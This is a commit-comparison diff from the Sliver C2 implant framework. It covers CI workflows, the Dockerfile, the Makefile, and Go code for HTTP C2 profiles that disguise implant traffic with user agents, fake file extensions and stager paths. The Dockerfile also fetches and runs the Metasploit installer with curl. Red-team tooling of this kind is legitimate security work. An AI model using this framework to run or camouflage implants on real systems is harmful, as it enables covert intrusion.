Compare commits

..
4771 changed files with 101663 additions and 803692 deletions

No files matched your search

+10 -10
View File
@@ -6,15 +6,15 @@ on:
jobs:
servers-build:
name: Release Build Server
name: Build Server Binaries
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.21
uses: actions/setup-go@v5
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "^1.21"
go-version: "^1.20"
- name: OS Packages
run: |
@@ -22,7 +22,7 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v4
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -37,18 +37,18 @@ jobs:
path: ./sliver-server_*
clients-build:
name: Release Build Client
name: Build Client Binaries
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.21
uses: actions/setup-go@v5
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "^1.21"
go-version: "^1.20"
- name: Check Out Code
uses: actions/checkout@v4
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
+5 -5
View File
@@ -16,13 +16,13 @@ jobs:
steps:
# Setup go environment
- name: Go 1.21
uses: actions/setup-go@v5
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "^1.21"
go-version: "^1.20"
- name: Checkout repository
uses: actions/checkout@v4
uses: actions/checkout@v3
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -36,7 +36,7 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v4
uses: actions/checkout@v3
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
-102
View File
@@ -1,102 +0,0 @@
# Sample workflow for building and deploying a Next.js site to GitHub Pages
#
# To get started with Next.js see: https://nextjs.org/docs/getting-started
#
name: Sliver Docs
on:
# Runs on pushes targeting the default branch
push:
branches: ["master"]
# Allows you to run this workflow manually from the Actions tab
workflow_dispatch:
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
permissions:
contents: read
pages: write
id-token: write
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
concurrency:
group: "pages"
cancel-in-progress: false
jobs:
build:
runs-on: ubuntu-latest
defaults:
run:
working-directory: ${{ github.workspace }}/docs/sliver-docs
env:
working-directory: ${{ github.workspace }}/docs/sliver-docs
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Detect package manager
id: detect-package-manager
run: |
if [ -f "${{ github.workspace }}/docs/sliver-docs/yarn.lock" ]; then
echo "manager=yarn" >> $GITHUB_OUTPUT
echo "command=install" >> $GITHUB_OUTPUT
echo "runner=yarn" >> $GITHUB_OUTPUT
exit 0
elif [ -f "${{ github.workspace }}/docs/sliver-docs/package.json" ]; then
echo "manager=npm" >> $GITHUB_OUTPUT
echo "command=ci" >> $GITHUB_OUTPUT
echo "runner=npx --no-install" >> $GITHUB_OUTPUT
exit 0
else
echo "Unable to determine package manager"
exit 1
fi
- name: Setup Node
uses: actions/setup-node@v4
with:
cache: "npm"
cache-dependency-path: "**/package-lock.json"
node-version: "lts/*"
- name: Setup Pages
uses: actions/configure-pages@v3
- name: Restore cache
uses: actions/cache@v3
with:
path: |
.next/cache
# Generate a new cache whenever packages or source files change.
key: ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-${{ hashFiles('**.[jt]s', '**.[jt]sx') }}
# If source files changed but packages didn't, rebuild from a prior cache.
restore-keys: |
${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-
- name: Install dependencies
working-directory: ${{ env.working-directory}}
run: ${{ steps.detect-package-manager.outputs.manager }} ${{ steps.detect-package-manager.outputs.command }}
- name: Build with Next.js
working-directory: ${{ env.working-directory}}
run: ${{ steps.detect-package-manager.outputs.runner }} next build
- name: Upload artifact
uses: actions/upload-pages-artifact@v1
with:
path: ${{ github.workspace }}/docs/sliver-docs/out
# Deployment job
deploy:
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
needs: build
steps:
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v2
@@ -3,14 +3,6 @@ on:
pull_request:
branches:
- master
paths:
- "go.mod"
- "go.sum"
- "Makefile"
- "**/*.go"
- "**/*.c"
- "**/*.h"
- "**/*.sh"
types:
- opened
- reopened
@@ -18,15 +10,15 @@ on:
- ready_for_review
jobs:
linux-windows-build-test:
name: Linux & Windows Test
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.21
uses: actions/setup-go@v5
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "^1.21"
go-version: "^1.20"
- name: OS Packages
run: |
@@ -35,7 +27,7 @@ jobs:
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check Out Code
uses: actions/checkout@v4
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -52,21 +44,21 @@ jobs:
- name: Make Linux (arm64)
run: make linux-arm64
macos-build-test:
name: MacOS Test
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.21
uses: actions/setup-go@v5
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "^1.21"
go-version: "^1.20"
- name: Mingw
run: brew install mingw-w64
- name: Check Out Code
uses: actions/checkout@v4
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -88,13 +80,13 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.21
uses: actions/setup-go@v5
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "^1.21"
go-version: "^1.20"
- name: Check Out Code
uses: actions/checkout@v4
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
+53 -107
View File
@@ -1,125 +1,71 @@
FROM golang:1.20.4
#
# For production:
# docker build --target production -t sliver .
# docker run -it --rm -v $HOME/.sliver:/home/sliver/.sliver sliver
#
# For unit testing:
# docker build --target test .
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
# Sliver using this container configuration! However, if you do want
# a Docker deployment this is probably a good place to start.
#
# STAGE: base
## Compiles Sliver for use
FROM --platform=linux/amd64 golang:1.21.4 as base
ENV PROTOC_VER 21.12
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
### Base packages
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
### Add sliver user
#
# > User
#
RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
### Build sliver:
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all
RUN make
RUN cp -vv sliver-server /opt/sliver-server
# STAGE: test
## Run unit tests against the compiled instance
## Use `--target test` in the docker build command to run this stage
FROM --platform=linux/amd64 base as test
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
RUN /opt/sliver-server unpack --force
### Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# STAGE: production
## Final dockerized form of Sliver
FROM --platform=linux/amd64 debian:bookworm-slim as production
### Install production packages
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
libxml2 libxml2-dev libxslt-dev locate gnupg \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
curl libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
### Install MSF for stager generation
#
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall \
&& mkdir -p ~/.msf4/ \
&& touch ~/.msf4/initial_setup_complete
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
### Cleanup unneeded packages
RUN apt-get remove -y curl gnupg \
&& apt-get autoremove -y \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
#
# > Sliver
#
### Add sliver user
RUN groupadd -g 999 sliver \
&& useradd -r -u 999 -g sliver sliver \
&& mkdir -p /home/sliver/ \
&& chown -R sliver:sliver /home/sliver \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
# Protoc
# WORKDIR /tmp
# RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
# && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
# && cp -vv ./bin/protoc /usr/local/bin
# RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
# && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
### Copy compiled binary
COPY --from=base /opt/sliver-server /opt/sliver-server
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
# Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
### Unpack Sliver:
USER sliver
RUN /opt/sliver-server unpack --force
WORKDIR /home/sliver/
VOLUME [ "/home/sliver/.sliver" ]
ENTRYPOINT [ "/opt/sliver-server" ]
# STAGE: production-slim (about 1Gb smaller)
### Slim production image, i.e. without MSF and assoicated libraries
### Still include GCC and MinGW for cross-platform generation
FROM --platform=linux/amd64 debian:bookworm-slim as production-slim
### Install production packages
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
### Cleanup unneeded packages
RUN apt-get autoremove -y \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
### Add sliver user
RUN groupadd -g 999 sliver \
&& useradd -r -u 999 -g sliver sliver \
&& mkdir -p /home/sliver/ \
&& chown -R sliver:sliver /home/sliver
### Copy compiled binary
COPY --from=base /opt/sliver-server /opt/sliver-server
### Unpack Sliver:
USER sliver
RUN /opt/sliver-server unpack --force
WORKDIR /home/sliver/
VOLUME [ "/home/sliver/.sliver" ]
ENTRYPOINT [ "/opt/sliver-server" ]
+7 -7
View File
@@ -5,7 +5,7 @@
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags go_sqlite
TAGS ?= -tags osusergo,netgo,go_sqlite
CGO_ENABLED = 0
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
@@ -27,7 +27,7 @@ GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 21
MIN_SUPPORTED_GO_MINOR_VERSION = 20
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
@@ -155,11 +155,11 @@ clients: clean .downloaded_assets validate-go-version
.PHONY: servers
servers:
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
.PHONY: pb
pb:
+7 -2
View File
@@ -61,9 +61,14 @@ def docker_rm_all():
def build():
status = exec_cmd("docker build --target test .")
status = exec_cmd("docker build -t sliver .")
if status == 0:
print("\n\n" + INFO + "Build successful")
print(
INFO
+ "Build successful, start with %sdocker run -it sliver:latest%s"
% (BOLD, NORM)
)
print(INFO + "Remember you'll need to manually forward network ports")
def main(args):
-86
View File
@@ -1,86 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// HTTPC2Config - Parent config file struct for implant/server
type HTTPC2Config struct {
ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
ServerConfig HTTPC2ServerConfig `json:"server_config"`
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
RandomVersionHeaders bool `json:"random_version_headers"`
Headers []NameValueProbability `json:"headers"`
Cookies []string `json:"cookies"`
}
type NameValueProbability struct {
Name string `json:"name"`
Value string `json:"value"`
Probability int `json:"probability"`
Methods []string
}
// HTTPC2ImplantConfig - Implant configuration options
// Procedural C2
// ===============
// .txt = rsakey
// .css = start
// .php = session
//
// .js = poll
//
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
ChromeBaseVersion int `json:"chrome_base_version"`
MacOSVersion string `json:"macos_version"`
NonceQueryArgChars string `json:"nonce_query_args"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
// Stager files and paths
StagerFileExt string `json:"stager_file_ext"`
StagerFiles []string `json:"stager_files"`
StagerPaths []string `json:"stager_paths"`
// Poll files and paths
PollFileExt string `json:"poll_file_ext"`
PollFiles []string `json:"poll_files"`
PollPaths []string `json:"poll_paths"`
// Session files and paths
StartSessionFileExt string `json:"start_session_file_ext"`
SessionFileExt string `json:"session_file_ext"`
SessionFiles []string `json:"session_files"`
SessionPaths []string `json:"session_paths"`
// Close session files and paths
CloseFileExt string `json:"close_file_ext"`
CloseFiles []string `json:"close_files"`
ClosePaths []string `json:"close_paths"`
}
+2 -2
View File
@@ -21,7 +21,7 @@ package alias
import (
"encoding/json"
"fmt"
"os"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
@@ -115,7 +115,7 @@ func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := os.ReadFile(manifestPath)
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
+5 -4
View File
@@ -20,6 +20,7 @@ package alias
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -49,7 +50,7 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
// Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
@@ -77,7 +78,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
con.PrintErrorf("Error creating alias directory: %s\n", err)
return
}
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
@@ -132,7 +133,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
con.PrintErrorf("Failed to create alias directory: %s\n", err)
return nil
}
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
@@ -165,7 +166,7 @@ func installArtifact(aliasGzFilePath string, installPath, artifactPath string, c
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
}
err = os.WriteFile(localArtifactPath, data, 0o600)
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
+1 -1
View File
@@ -36,7 +36,7 @@ import (
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util/minisign"
"github.com/bishopfox/sliver/server/cryptography/minisign"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
+1 -1
View File
@@ -32,7 +32,7 @@ import (
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/util/minisign"
"github.com/bishopfox/sliver/server/cryptography/minisign"
)
// ErrPackageNotFound - The package was not found
+1 -1
View File
@@ -33,7 +33,7 @@ import (
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/util/minisign"
"github.com/bishopfox/sliver/server/cryptography/minisign"
)
// ArmoryIndexParser - Generic interface to fetch armory indexes
-437
View File
@@ -1,437 +0,0 @@
package c2profiles
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"io"
"os"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/exp/slices"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// C2ProfileCmd list available http profiles
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
profileName, _ := cmd.Flags().GetString("name")
if profileName == constants.DefaultC2Profile {
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
return
}
if len(httpC2Profiles.Configs) != 1 {
profileName = selectC2Profile(httpC2Profiles.Configs)
}
}
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintC2Profiles(profile, con)
}
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
protocols := []string{constants.HttpStr, constants.HttpsStr}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
return
}
filepath, _ := cmd.Flags().GetString("file")
if filepath == "" {
con.PrintErrorf("Missing file path\n")
return
}
overwrite, _ := cmd.Flags().GetBool("overwrite")
// retrieve and unmarshal profile config
jsonFile, err := os.Open(filepath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
byteFile, _ := io.ReadAll(jsonFile)
var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
err = json.Unmarshal(byteFile, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
confirm := false
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
survey.AskOne(prompt, &confirm)
if confirm {
var restartJobReq clientpb.RestartJobReq
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// reload jobs to include new profile
for _, job := range jobs.Active {
if job != nil && slices.Contains(protocols, job.Name) {
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
}
}
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
}
// convert json to protobuf
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
httpC2Headers := []*clientpb.HTTPC2Header{}
pathSegments := []*clientpb.HTTPC2PathSegment{}
// files
for _, poll := range config.ImplantConfig.PollFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.CloseFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 3,
Value: stager,
})
}
// paths
for _, poll := range config.ImplantConfig.PollPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.ClosePaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 3,
Value: stager,
})
}
implantConfig := &clientpb.HTTPC2ImplantConfig{
UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFiles: int32(config.ImplantConfig.MaxFiles),
MinFiles: int32(config.ImplantConfig.MinFiles),
MaxPaths: int32(config.ImplantConfig.MaxPaths),
MinPaths: int32(config.ImplantConfig.MinFiles),
StagerFileExtension: config.ImplantConfig.StagerFileExt,
PollFileExtension: config.ImplantConfig.PollFileExt,
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
SessionFileExtension: config.ImplantConfig.SessionFileExt,
CloseFileExtension: config.ImplantConfig.CloseFileExt,
PathSegments: pathSegments,
}
// Server Config
serverHeaders := []*clientpb.HTTPC2Header{}
for _, serverHeader := range config.ServerConfig.Headers {
for _, method := range serverHeader.Methods {
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Method: method,
Name: serverHeader.Name,
Value: serverHeader.Value,
Probability: int32(serverHeader.Probability),
})
}
}
serverCookies := []*clientpb.HTTPC2Cookie{}
for _, cookie := range config.ServerConfig.Cookies {
serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
Name: cookie,
})
}
serverConfig := &clientpb.HTTPC2ServerConfig{
RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
Headers: serverHeaders,
Cookies: serverCookies,
}
return &clientpb.HTTPC2Config{
Name: profileName,
ImplantConfig: implantConfig,
ServerConfig: serverConfig,
}
}
// PrintImplantBuilds - Print the implant builds on the server
func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Parameter",
"Value",
})
// Profile metadata
tw.AppendRow(table.Row{
"Profile Name",
profile.Name,
})
// Server side configuration
var serverHeaders []string
for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Server Headers",
strings.Join(serverHeaders[:], ","),
})
var serverCookies []string
for _, cookie := range profile.ServerConfig.Cookies {
serverCookies = append(serverCookies, cookie.Name)
}
tw.AppendRow(table.Row{
"Server Cookies",
strings.Join(serverCookies[:], ","),
})
tw.AppendRow(table.Row{
"Randomize Server Headers",
profile.ServerConfig.RandomVersionHeaders,
})
// Client side configuration
var clientHeaders []string
for _, header := range profile.ImplantConfig.Headers {
clientHeaders = append(clientHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Client Headers",
strings.Join(clientHeaders[:], ","),
})
var clientUrlParams []string
for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
}
tw.AppendRow(table.Row{
"Extra URL Parameters",
strings.Join(clientUrlParams[:], ","),
})
tw.AppendRow(table.Row{
"User agent",
profile.ImplantConfig.UserAgent,
})
tw.AppendRow(table.Row{
"Chrome base version",
profile.ImplantConfig.ChromeBaseVersion,
})
tw.AppendRow(table.Row{
"MacOS version",
profile.ImplantConfig.MacOSVersion,
})
tw.AppendRow(table.Row{
"Nonce query arg chars",
profile.ImplantConfig.NonceQueryArgChars,
})
tw.AppendRow(table.Row{
"Max files",
profile.ImplantConfig.MaxFiles,
})
tw.AppendRow(table.Row{
"Min files",
profile.ImplantConfig.MinFiles,
})
tw.AppendRow(table.Row{
"Max paths",
profile.ImplantConfig.MaxPaths,
})
tw.AppendRow(table.Row{
"Min paths",
profile.ImplantConfig.MinPaths,
})
tw.AppendRow(table.Row{
"Stager file extension",
profile.ImplantConfig.StagerFileExtension,
})
tw.AppendRow(table.Row{
"Start session file extension",
profile.ImplantConfig.StartSessionFileExtension,
})
tw.AppendRow(table.Row{
"Session file extension",
